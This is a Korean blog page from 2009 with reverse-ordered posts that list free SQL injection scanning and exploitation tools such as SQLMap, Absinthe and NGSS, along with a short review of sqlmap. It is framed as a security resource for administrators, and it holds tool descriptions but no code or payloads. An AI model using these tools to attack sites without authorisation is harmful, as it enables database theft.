    14. Automatic SQL Injector -  SQLNinja와 유사한 도구로, 오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다. 다운로드

    15. NGSS SQL Injector - 데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다. 다운로드

    개인적인 의견으로는 NGSS가 믿을만 하더군요.
    2009/05/19 20:30 2009/05/19 20:30
    6. SQLMap - 블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다. 다운로드

    7. Absinthe - GUI 기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다. 다운로드

    8. SQL Injection Pen-testing Tool - 웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구. 다운로드

    9. SQID - SQL Injection Digger. 웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구. 웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다. 다운로드

    10. Blind SQL Injection Perl Tool - bsqlbf는 SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트. 다운로드

    To be Continued...
    2009/05/19 20:29 2009/05/19 20:29
    SecurityHacks에서, 무료로 제공되는 SQL 인젝션 스캐너 15 제품의 요약 정보와 다운로드를 제공하는 글이 있어 이를 정리해서 올려 드립니다.

    아시다시피, SQL Injection 공격은 웹 페이지에서 데이터베이스를 액세스하는 방식을 통해 공격하는 것으로 대부분의 관리자들은 이러한 위협에 대비하여 코딩을 해야 하며, 웹 방화벽 장비나 웹 나이트와 같은 무료 보안 프로그램을 통해 보안을 향상시키는 방향으로 진행되는 것으로 알고 있습니다.

    아래의 제품들은 여러분이 운영하는 사이트가 SQL Injection 공격에 대한 취약점이 있는지 자동으로 검사하여 이를 알려 주는 프로그램입니다. 참고로, 아래의 정보는 웹 애플리케이션 개발자 뿐만 아니라 보안 전문가에게도 유익한 프로그램입니다.

    1. SQLIer - 취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검하려고 시도합니다. 다운로드
    사용자 삽입 이미지

    2. SQLbftools - 블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다. 다운로드

    3. SQL Injection Brute-forcer - SQL Injection 공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다. 사용자가 작업하는 내용을 볼 수 있으며, 블라인드 SQL 인젝션을 이용합니다. 다운로드

    5. SQL Brute - 블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간, 오류 기반으로 익스플로잇을 수행합니다. 오라클의 경우 오류를 기반으로 합니다. 이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다. 다운로드

    5. BobCat - SQL Injection 취약점의 잇점을 이용하는 감사 도구입니다. 사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다. 다운로드

    출처: Security-Hacks.com
    2009/05/19 20:28 2009/05/19 20:28
    전세계에 살고 있는 착한 해커(!)들이 한데 모여서 자신의 기술을 뽐내는 블랙햇(BlackHat 2009) 행사에서 SQL 인젝션 공격을 한층 더 강화한 프로그램이 소개되었는데 바로 Sqlmap입니다. 이 프로그램은 Bernadro Damele 와 Daniele Bellucci가 개발하였으며 현재 0.71 버전의 RC 버전까지 나왔습니다.

    일반적으로 SQL 인젝션 공격을 통해 데이터베이스의 내용을 조작합니다. 하지만 Sqlmap 프로그램은 데이터베이스의 취약점을 이용하여 공격의 범위를 시스템 즉 운영체제까지 확장하고 있습니다.

    Sqlmap 프로그램은 명령행 기반(command prompt)의 프로그램으로 처음에는 약간 사용하기가 불편한 감이 있습니다. 하지만, 옵션이나 매개변수를 충분히 이해한 후에는 말 그대로 최강의 성능을 자랑할 수 있는 공격 테스트 도구로 사용이 가능합니다.

    특히, 기존에 널리 사용되는 SQL 인젝션 도구들은 특정 데이터베이스에 한정하여 사용할 수 있는 한계를 가지고 있었습니다. Sqlmap은 MS SQL뿐만 아니라 MySQL, PostgreSQL, Oracle까지 지원하여 산업계 전반에서 널리 사용하는 데이터베이스 엔진 대부분을 커버할 수 있습니다.


    하지만, 단점이 약간 보이기도 합니다. 서버에 다양한 데이터베이스 엔진을 구동한 상태에서 특정한 링크를 검사하면 제대로 검출해내지 못하기도 합니다. 아래 화면은 Apache + PostreSQL + PHP 상태에서 phpbb라는 유명한 게시판을 구축한 사이트를 진단한 내역입니다.

    사용자 삽입 이미지


     또한, 명령행 기반이기 때문에 사이트에 대한 전반적인 검사를 수행하는데 어려움이 있으며 다른 프로그램을 사용하여 알아낸 취약한 링크를 보다 세부적으로 분석하는 툴로 유용하게 사용할 수 있을 것으로 생각됩니다. 마지막으로 진단 속도가 비교적 느립니다.
    2009/05/19 20:27 2009/05/19 20:27